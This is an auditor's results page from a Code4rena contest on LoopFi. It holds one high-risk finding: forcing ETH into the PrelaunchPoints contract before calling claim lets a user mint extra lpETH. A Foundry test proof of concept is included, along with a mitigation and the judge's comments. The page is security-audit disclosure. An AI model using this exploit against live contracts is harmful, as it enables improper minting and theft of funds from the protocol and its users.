LoopFi - yovchev_yoan's results

A dedicated lending market for Ethereum carry trades. Users can supply a long tail of Liquid Restaking Tokens (LRT) and their derivatives as collateral to borrow ETH for increased yield exposure.

General Information

Platform: Code4rena

Start Date: 01/05/2024

Pot Size: $12,100 USDC

Total HM: 1

Participants: 47

Period: 7 days

Judge: Koolex

Id: 371

League: ETH

LoopFi

Findings Distribution

Researcher Performance

Rank: 13/47

Findings: 1

Award: $386.08

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

284.4444 USDC - $284.44

Labels

bug
3 (High Risk)
satisfactory
sufficient quality report
:robot:_42_group
duplicate-33

External Links

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L262

Vulnerability details

Description:

In the Prelaunchpoint the functions lock and lockFor allow users to lock LRTs or WETH into the contract. After the owner calls setLoopAddresses and converts all the ETH, users are able to call the claim and claimAndStake functions. A user can force ETH into the smart contract and right after call the claim function with the LRT Token with a small percentage. Because claimedAmount is set to address(this).balance this will also get the forced ETH, allowing users to remove the risk of locking a large amount and rather lock a small amount and then force ether to get the desired lpETH.

Impact:

  1. Allows users to remove the risk of locking a large amount of tokens.
  2. Allows users to mint how much ever lpETH they want, as long as they have the capital and a small locked amount of LRT Token.
  3. This breaks the 2nd invariant - Deposits are active up to the lpETH contract and lpETHVault contract are set

Proof of Concept:

  1. The user locks a desired amount of an LRT Token
  2. The owner sets the loop addresses and the 7 days to withdraw pass
  3. The owner converts all the ETH, which allows the user to claim, claim and stake
  4. The user forces ETH into the contract
  5. The user calls the claim function and gets the lpETH for the forced ETH

Paste this into PrelaunchPoints.t.sol

function testDepositAndStakeAfterTheClaimStartDate() public {
        uint256 lockAmount = 10;
        address userOne = vm.addr(1);

        lrt.mint(userOne, lockAmount);

        vm.startPrank(userOne);
        lrt.approve(address(prelaunchPoints), lockAmount);
        prelaunchPoints.lock(address(lrt), lockAmount, referral);
        vm.stopPrank();

        // Set Loop Contracts and Convert to lpETH
        prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));
        vm.warp(prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1);
        prelaunchPoints.convertAllETH();

        vm.warp(prelaunchPoints.startClaimDate() + 1);

        bytes memory data = abi.encodeWithSelector(0x415565b0, address(lrt), ETH, ((lockAmount * 1) / 100));

        vm.deal(userOne, 10);
        vm.prank(userOne);
        (bool success,) = address(prelaunchPoints).call{value: 10}("");
        if (!success) revert("Not Successful");

        uint256 temp = lpETH.balanceOf(address(userOne));
        console.log(temp);

        vm.prank(userOne);
        prelaunchPoints.claim(address(lrt), 1, PrelaunchPoints.Exchange.TransformERC20, data);

        temp = lpETH.balanceOf(address(userOne));
        console.log(temp);
    }

Tools Used

Manual Review

Recommended Mitigation:

  1. If the receive function is called revert

Assessed type

ETH-Transfer

#0 - c4-judge

2024-05-15T14:36:34Z

koolexcrypto marked the issue as duplicate of #6

#1 - c4-judge

2024-05-31T09:58:23Z

koolexcrypto marked the issue as duplicate of #33

#2 - c4-judge

2024-06-05T09:54:45Z

koolexcrypto marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter